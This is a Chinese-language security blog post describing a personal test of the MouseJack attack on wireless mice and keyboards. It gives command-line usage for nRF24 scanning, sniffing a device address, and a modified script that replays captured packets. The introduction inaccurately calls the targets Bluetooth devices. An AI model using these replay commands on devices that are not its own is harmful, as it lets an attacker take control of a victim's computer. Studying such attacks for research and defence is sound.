0x00 简介
Bastille的研究团队发现了一种针对蓝牙键盘鼠标的攻击,攻击者可以利用漏洞控制你的电脑操作。研究团队将此攻击命名为MouseJack。 Mousejack 之前在Freebuf上有所介绍:MouseJack:利用15美元的工具和15行代码控制无线鼠标和键盘,当然,制作团队也将部分测试代码公开在github上,该团队网站地址为:https://www.mousejack.com/ 从视频中,可以看到攻击者通过此技术,直接操纵受害者电脑,但由于目前该团队并没有公开完整代码,所以有了下面的测试代码。
怎么烧固件这里就不说了,在原github有详细说明,drops也有介绍:Mousejack测试指南,如果在windows平台,我也写过一个介绍:windows下刷MouseJack固件。
0x01 原脚本测试
该团队所公布的代码主要包括了扫描跟嗅探模块,nrf24-network-mapper.py 中并没有能够让鼠标操作发生明显变化的payload,经过多次测试,写出了此测试脚本,能够完成对无线鼠标操作的重放攻击。
0x02 脚本介绍
scanner
使用原作者的扫描脚本,此脚本用来扫描附近的无线鼠键:
1 | usage: ./nrf24-scanner.py [-h] [-c N [N ...]] [-v] [-l] [-p PREFIX] [-d DWELL] |
扫描信道 1-5 的设备:
1 | ./nrf24-scanner.py -c {1..5} |
扫描起始地址为0xA9的设备的所有信道:
1 | ./nrf24-scanner.py -p A9 |
sniffer
修改原作者脚本,将获取的设备数据存储到pack.log 中,之后可以使用mousejack-replay.py脚本对此数据进行重放:
1 | usage: ./nrf24-sniffer.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES] |
嗅探地址为 61:49:66:82:03 设备所有信道的数据包并将数据包保存:
1 | ./nrf24-sniffer.py -a 61:49:66:82:03 |
mousejack-replay.py
在 network mapper 脚本上修改,首先通过Ping获取可用信道,然后读取pack.log中的数据包内容,将每一条数据发送到各个信道,完成数据包重放,测试过程中,发现可用地址一般为3-4个,所以将原脚本改成rang(4):
1 | usage: ./mousejack-replay.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-p PASSES] [-k ACK_TIMEOUT] [-r RETRIES] |
指定地址为 61:49:66:82:03 的设备进行数据包重放:
1 | ./mousejack-replay.py -a 61:49:66:82:03 |
0x03备注
以上为个人测试结果,由于目前手上只有一个鼠标可以测试,可能并不适用所有存在漏洞设备,有兴趣的小伙伴可以找我一起研究,可以对脚本进行进一步的完善。
右键点击演示视频:http://v.youku.com/v_show/id_XMTUwMTQ3Njk4NA==.html
数据重放演示视频:http://v.youku.com/v_show/id_XMTUwMzgwMTQ1Ng==.html
视频录的不太好,看不太清楚效果,有兴趣的小伙伴可以测试一下。